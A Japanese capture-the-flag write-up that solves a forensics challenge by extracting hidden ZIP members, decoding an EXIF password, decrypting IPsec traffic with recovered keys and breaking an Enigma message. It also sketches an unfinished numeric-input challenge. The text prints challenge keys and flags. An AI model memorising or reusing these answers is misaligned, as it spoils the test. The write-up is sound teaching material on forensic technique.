--------------------------------------------------------------------------------
13390         0x344E          Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1
29607         0x73A7          Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2
30177         0x75E1          End of Zip archive

なんか埋め込まれてるので展開すると file_1file_2 が出て来る.

まず file_1 をみてみると. jpeg で開いてみるとなんか smily な画像が出てくるだけ.
binwalk してみても特に何もなさそうなので exiftool にかけると,

$ exiftool file_1
ExifTool Version Number         : 10.20
File Name                       : file_1
(snip)
User Comment                    : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u
(snip)

なんか怪しいユーザコメントがある. base64 っぽいのでデコードすると,

$ exiftool file_1 | grep "User Comment" | awk '{print $4}' | base64 -D
Turing_Machine_automaton

file_2 をみてみると zip で解凍しようとすると,

$ unzip file_2
Archive:  file_2
   skipping: key.txt                 unsupported compression method 99

なんか適当に調べていると 7z で解凍できるらしい.

$ 7z e file_2
// パスワードは `Turing_Machine_automaton`

で解凍できた. key.txt がフラグかーと思ってみてみると…

$ cat key.txt
src 192.168.30.211 dst 192.168.30.251
        proto esp spi 0xc300fae7 reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284
        enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272
        sel src 192.168.30.211/32 dst 192.168.30.251/32
src 192.168.30.251 dst 192.168.30.211
        proto esp spi 0xce66f4fa reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3
        enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422
        sel src 192.168.30.251/32 dst 192.168.30.211/32

あれ…,これは IPSec とかの通信を復号するときに使える鍵とかの情報….
でも pcap なんかなかったしどういうことなの…と思って,
元の Forensic_Encyption を strings してみると, file_3 なる文字列がみえる.
これは何か足りていないような気がするけどなんで binwalk で展開できないのかと思い,
バイナリエディタで開いて眺めてみると…,先頭は以下のようになっている.

0000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79  MZ...........J.y

まあ先頭が MZ なんだから MS-DOS executable, MZ for MS-DOS なんだろう….
03 04 14 ってなんか特徴のありそうな16進数のように思えたのでググってみると,
50 4b 03 04 14 が PKZip らしい.あれこれ書き換えられてる…と思って 4d5a => 504b にして binwalk すると,

$ binwalk Forensic_Encyption

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 13354, uncompressed size: 31112, name: file_3
13390         0x344E          Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1
29607         0x73A7          Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2
30177         0x75E1          End of Zip archive

file_3 でてきた.そしてこいつを wireshark で開くと開ける!
さっきの key.txt を Preferences => Protocol => ESP から入れて復号して,
192.168.30.211 でフィルタすると HTTP 通信があって index.html がある.
こいつを開くと,

$ cat index.html
<HTML>
<BODY>
M4 Navy
Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y

TMCTF{APZTQQHYCKDLQZRG}

APZTQQHYCKDLQZRG is encrypted.

</BODY>
</HTML>

まだ暗号化されてるのか…, M4, Naby, Reflector, Plugboard などで検索すると,
どうやらエニグマを使って暗号化されているらしい.
チーム部屋に投げると,エニグマのシミュレータが貼られたのでポチポチそれっぽい設定をする.
最終的には以下のような設定にすると,意味のあるワードになったので投げてみた(しかし設定ミスしていることにあとできづいた).
f:id:yharima:20170625172942p:plain

TMCTF{RISINGSUNANDMOON} がフラグだった.

Analysis-Offensive 200(WIP)

入力は 8文字の数字.これを AABBCCDD と表すと以下の条件を満たす必要がありそう.

  • 入力された8桁は素数
  • AA と BB は素数
  • CC は 平方数
  • (AABB ^ (CC * CC)) >> 8 が 0
  • AABBCCDDValidate Flag: を文字としてみて全部足した結果から 0x120 を引いた結果も素数

これの中でもっとも大きい数字は 43436447 っぽく,これを入れて出力される flag.txt は TMCTF{434364}
これを入力しても通らずほぼすべての時間を溶かして死亡しました…. :sob: